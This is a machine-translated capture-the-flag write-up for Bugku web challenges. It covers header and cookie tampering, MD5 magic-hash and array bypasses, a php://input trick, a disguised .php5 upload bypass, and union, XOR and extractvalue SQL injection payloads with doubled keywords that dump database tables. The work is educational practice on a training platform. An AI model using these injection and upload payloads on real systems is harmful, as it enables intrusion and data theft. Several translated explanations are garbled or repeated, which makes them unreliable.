bugku_Web

60999 ワード

スピードが速い
在这里插入图片描述ヒントは速く、POSTにmarginパラメータを着てまずBurpsuiteでパッケージをつかむサプライズbugku_Web_第1张图片 base 64復号在这里插入图片描述 POSTを直接提出する必要があります.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author:Box  time:2019/10/14

import requests
import base64

url = "http://123.206.87.240:8002/web6/"
r = requests.session()
headers = r.get(url).headers  #   flag     

mid = base64.b64decode(headers['flag'])
print mid

flag = base64.b64decode(mid.split(':')[1])  #   flag:   
data = {'margin': flag}
print (r.post(url, data).text)  # post     

直接flag bugku_Web_第2张图片を得る
Cookie詐欺
在这里插入图片描述は何をスキャンしてurlを観察するのか分からないが、a 2 V 5 cy 50 eHQ=base 64符号化であり、復号後はkeysであることが分かった.txtはfilenameでindexにアクセスしようとする.php(元urlはbase 64を使用し、これもindex.phpを符号化する)、lineパラメータは行数であるべきで、line=2 在这里插入图片描述を試して1行で試すことができますが、面倒すぎてpython実現
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author:Box  time:2019/10/14

import  requests

for i in range(0,100):

    url = 'http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'% i
    line = requests.get(url)
    if len(line.text)>0:

        print line.text

取得するphpソース
<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){   //margin=margin

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>


ヘッダーでCookie:margin=margin bugku_Web_第3张图片
never give up
ソースコードbugku_Web_第4张图片を直接表示
ヒントアクセス1 p.html
http://123.206.87.240:8006/test/1p.html

直接bugkuのトップページにリダイレクトされます
Burp Suiteでバッグをつかむ
bugku_Web_第5张图片 url復号後注釈部分はbase 64符号化も行われていることが分かった
<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

復号後url復号
<!--%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E-->

最後に手に入れる
<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}
?>-->

やっと出てきてコードを分析しました
stripos(文字列a,文字列b)関数は、文字列aにおいて文字列bが初めて現れる位置(大文字と小文字を区別しない)を検索する.
file_get_contentsファイル全体を文字列に読み込む
strlen()関数は文字列の長さを返します
substr()関数は文字列の一部を返します.substr(string,start,length)、lengthパラメータはオプションです.substr($b,0,1)はパラメータbに0から1つの長さの文字列を返す.
eregi(「111」.substr(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.s u b s t r(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.substr(b,0,1)、「1114」)は、「1114」という文字列に「111」が該当するか否かを判断する.substr(b,0,1)という規則の
総じて、aパラメータがファイル内に入力された場合「bugku is a nice plateform!」文字列、idパラメータは0である、bパラメータの長さは5より大きく、「1114」この文字列に一致するかどうか111」である.substr(b,0,1)というルールの、s u b s t r(b,0,1)というルールの、substr(b,0,1)というルールの、substr(b,0,1)が4以上の条件を満たすことができない場合は、f 4 l 2 a 3 gを要求する.txt
:)面倒なので、f 4 l 2 a 3 gに直接アクセスできるかどうか試してみましょう.txtでしょう
アクセスできますflag私はあなたを見ました!
せいそくもじ
解析正規表現bugku_Web_第6张图片
まずこの問題を分析します.
デリミタ:/と/(一般的にはこの2つですが、実はとアルファベットの数字以外はペアで現れる限りデリミタと見なすことができます.
. (1つのポイント):任意の文字に一致することを示します.
  • :前の文字は0回または複数回繰り返します.

  • {n,m}:前の文字は4~7回繰り返します.
    (反斜線):後の文字がエスケープされます.
    [a-z]:aからzで一致する;
    [[::punct:]]:任意の句読点に一致します.
    /i:この正規表現が大文字と小文字に敏感ではないことを示す.
    これで,この問題の正規表現を構築することができる.
    例えば:keyakeyaaakey:/a/aakeyb!key 1 key 11111 key:/1/1 keya、答えは唯一ではありません
    正規表現構文補完:
    一、
    「b」:任意の文字を消費せずに1つの位置だけを一致させ、文字列の「This is Regex」から個別の単語「is」を一致させたい場合は「bisb」と書くのが一般的です.
    bはisの両方の文字に一致しませんが、isの両方が単語の境界であるかどうかを認識します.
    "d":一致する数値
    "w":アルファベット、数字、下線に一致します.
    "s":スペースの一致
    “.”:改行以外の任意の文字を一致させる
    「[abc]」:文字グループはカッコ内の要素を含む文字に一致します.
    追加:
    「W」は、アルファベット、数字、下線以外の任意の文字に一致します.
    "S"は空白文字以外の任意の文字に一致します.
    「D」は任意の数字以外の文字に一致します.
    「B」一致は単語の先頭または末尾の位置ではありません
    「^abc」はabc以外の任意の文字に一致します
    元カノ
    ソースコードを表示してcodeを発見します.txt
    
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
        $v3 = $_GET['v3'];
        if($v1 != $v2 && md5($v1) == md5($v2)){
            if(!strcmp($v3, $flag)){
                echo $flag;
            }
        }
    }
    ?>
    

    この問題は簡単です3つの配列で迂回する必要があります
    http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3
    

    どこから来ましたか.
    Referヘッダbugku_Web_第7张图片を直接修正
    md5 collision
    MD 5は衝突して、1つの0 eの初めのMD 5を探してgetの方式を通じてaに伝わります
    QNKCDZO
    0e830400451993494058024219903391
    
    s878926199a
    0e545993274517709034328855841020
    
    s155964671a
    0e342768416822451524974117254469
    
    s214587387a
    0e848240448830537924465865611904
    
    s214587387a
    0e848240448830537924465865611904
    
    s878926199a
    0e545993274517709034328855841020
    
    s1091221200a
    0e940624217856561557816327384675
    
    s1885207154a
    0e509367213418206700842008763514
    
    s1502113478a
    0e861580163291561247404381396064
    
    s1885207154a
    0e509367213418206700842008763514
    
    0e861580163291561247404381396064
    
    s1885207154a
    0e509367213418206700842008763514
    
    s1836677006a
    0e481036490867661113260034900752
    
    s155964671a
    0e342768416822451524974117254469
    
    s1184209335a
    0e072485820392773389523109082030
    
    s1665632922a
    0e731198061491163073197128363787
    
    s1502113478a
    0e861580163291561247404381396064
    
    s1836677006a
    0e481036490867661113260034900752
    
    s1091221200a
    0e940624217856561557816327384675
    
    s155964671a
    0e342768416822451524974117254469
    
    s1502113478a
    0e861580163291561247404381396064
    
    s155964671a
    0e342768416822451524974117254469
    
    s1665632922a
    0e731198061491163073197128363787
    
    s155964671a
    0e342768416822451524974117254469
    
    s1091221200a
    0e940624217856561557816327384675
    
    s1836677006a
    0e481036490867661113260034900752
    
    s1885207154a
    0e509367213418206700842008763514
    
    s532378020a
    0e220463095855511507588041205815
    
    s878926199a
    0e545993274517709034328855841020
    
    s1091221200a
    0e940624217856561557816327384675
    
    s214587387a
    0e848240448830537924465865611904
    
    s1502113478a
    0e861580163291561247404381396064
    
    s1091221200a
    0e940624217856561557816327384675
    
    s1665632922a
    0e731198061491163073197128363787
    
    s1885207154a
    0e509367213418206700842008763514
    
    s1836677006a
    0e481036490867661113260034900752
    
    s1665632922a
    0e731198061491163073197128363787
    
    s878926199a
    0e545993274517709034328855841020
    
    http://123.206.87.240:9009/md5.php?a=s1665632922a
    

    bugku_Web_第8张图片
    プログラマーのWebサイト
    X-Forwarded-Forを修正すればいいbugku_Web_第9张图片
    いろいろ迂回して
    コード監査
     
    highlight_file('flag.php');
    $_GET['id'] = urldecode($_GET['id']);
    $flag = 'flag{xxxxxxxxxxxxxxxxxx}';
    if (isset($_GET['uname']) and isset($_POST['passwd'])) {
        if ($_GET['uname'] == $_POST['passwd'])
    
            print 'passwd can not be uname.';
    
        else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
    
            die('Flag: '.$flag);
    
        else
    
            print 'sorry!';
    
    }
    ?> 
    

    bugku_Web_第10张图片 md 5()関数では配列を処理できず、入力された配列が配列であればNULLが返されるため、2つの配列は暗号化されてNULL、すなわち等しい.
    Web8
    コード監査
    
    extract($_GET);
    if (!empty($ac))
    {
    $f = trim(file_get_contents($fn));
    if ($ac === $f)
    {
    echo "

    This is flag:"

    ." $flag"; } else { echo "

    sorry!

    "
    ; } } ?>

    extract()この関数は、変数名として配列キー名、変数値として配列キー値を使用します.配列内の各要素に対して、現在のシンボルテーブルに対応する変数が作成されます.trim()文字列の先頭と末尾の空白文字(または他の文字)を除去
    php://input php://inputリクエストされた元のデータにアクセスできる読み取り専用ストリームは、postリクエストされたデータをphpコードとして実行します.入力したパラメータをファイル名として開くと、パラメータをphp://inputと、同時にpostが設定したいファイル内容はphp実行時にpost内容をファイル内容とします.
    allowを開く必要がありますurl_include
    注意:enctype="multipart/form-data"の場合、php://input無効です.bugku_Web_第11张图片
    getshell
    ファイルはphpにアップロードできません01.jpgは役に立たないようだ
    アップロード2.php Invalid file
    bugku_Web_第12张图片 1、拡張子filename 2、filenameの次の行のContent-Type:image/jpeg 3、最も重要なのはリクエストヘッダのContent-Typeフィールドで、大文字と小文字を迂回する、つまりmultipart/form-dataのいずれかのアルファベットを大文字に変更すればよい
    拡張子について:php 2,php 3,php 4,php 5,phps,pht,phtm,phtmlを試験した後,php 5のみが迂回できることが分かった
    これは不思議なログインボックスです
    これは、sql注入ユーザがadminを試みるパスワードが任意に反応していないことを発見ユーザがadminを試みることである可能性がある「エラーを発見し、w_passwdフィールドbugku_Web_第13张图片がBurpBuiteでadmin_name=adminを再生する」union select 1,2%23&admin_passwd=amdin&submit=GO+GO+GO bugku_Web_第14张图片 admin_name=admin"union select 1,2,3%23&admin_passwd=amdin&submit=GO+GO bugku_Web_第15张图片クエリーのフィールド数を2と判断
    テーブル名を調べる(クエリーするフィールドを最初のフィールドに配置することに注意)
    admin_name=admin"union  select group_concat(table_name),null from information_schema.tables where table_schema=database()%23&admin_passwd=amdin&submit=GO+GO+GO
    

    表名を得る:flag 1,whoami
    フィールド名を調べる
    admin_name=admin"union  select group_concat(table_name),null from information_schema.columns where table_name='flag1'%23&admin_passwd=amdin&submit=GO+GO+GO
    

    フィールド名flag 1を取得
    flagを調べる
    admin_name=admin"union  select group_concat(flag1),null from flag1 %23&admin_passwd=amdin&submit=GO+GO+GO
    

    複数回
    このURLを見て、sql注入id=1’がerrorに戻った可能性が高いと思います.id=1’or 1=1–+もエラーを報告し、フィルタリングして二重書き込みを試みる可能性があります.id=1'oorr 1=1–+は正常に戻ります.では、どの文字列がフィルタされているかをどのように検出しますか?新スキルGET!異或注入理解してみると、2つの条件が同じ(同真または同偽)であることが偽である.
    http://123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)--+
    

    unionがフィルタリングされていない場合、length(‘union’)!=0が真の場合、1^1はid=0を出力し、ページはerrorを返し、unionがフィルタリングされた場合、length(‘union’)!=0が偽の場合、1^0はid=1を出力し、ページは正常に戻り、フィルタリングされた文字列をテストします:and,or,union,select
    SQL文を推測すると、いくつかのフィールドが検索されます.
    ?id=1'uniounionn sselectelect 1,2--+      //  
    ?id=1'uniounionn sselectelect 1,2,3--+    //error        2   
    

    表名を調べる(注意:informationにもorダブルで迂回可能)
    ?id=0'ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
    

    flag 1,hintを得る
    クエリーフィールド名
    http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
    http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='hint'--+
    

    flag 1テーブルにはflag 1、addressフィールドhintテーブルにid、contentsがあります
    flagを調べる
    http://123.206.87.240:9004/1ndex.php?id=0'ununionion seselectlect 1,group_concat(flag1) from flag1--+
    

    入手:usOwycTju+FTUUzXosjr./Once_More.phpの提出は役に立たないが、テーマは2つのflagを提示している./Once_More.phpはこのページにアクセスします
    ヒントに従ってgetはid=1’のエラーを提出し、注入します.
    判定フィールド数?id=1’order by 2—+正常?id=1’order by 3–+エラー
    union注入を試みる?id=3’union select 1,2-+在这里插入图片描述 unionはフィルタリングされてダブルライトを試してフィルタリングされます
    注入遅延を試みる?id=1’and sleep(10)-+sleep()がフィルタリングされる
    太字スタイルでエラー注入を試行
    ?id=1’and(extractvalue(1,concat(0x7e,database(),0x7e)))–+
    bugku_Web_第16张图片成功報錯喜ばしい成功は成功から遠くない.
    爆表名
    http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))--+
    

    テーブル名class,flag 2を取得
    爆発フィールド:
    http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)))--+
    

    取得フィールド:flag 2,address
    爆flag:
    http://123.206.87.240:9004/Once_More.php?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2,address) from flag2),0x7e)))--+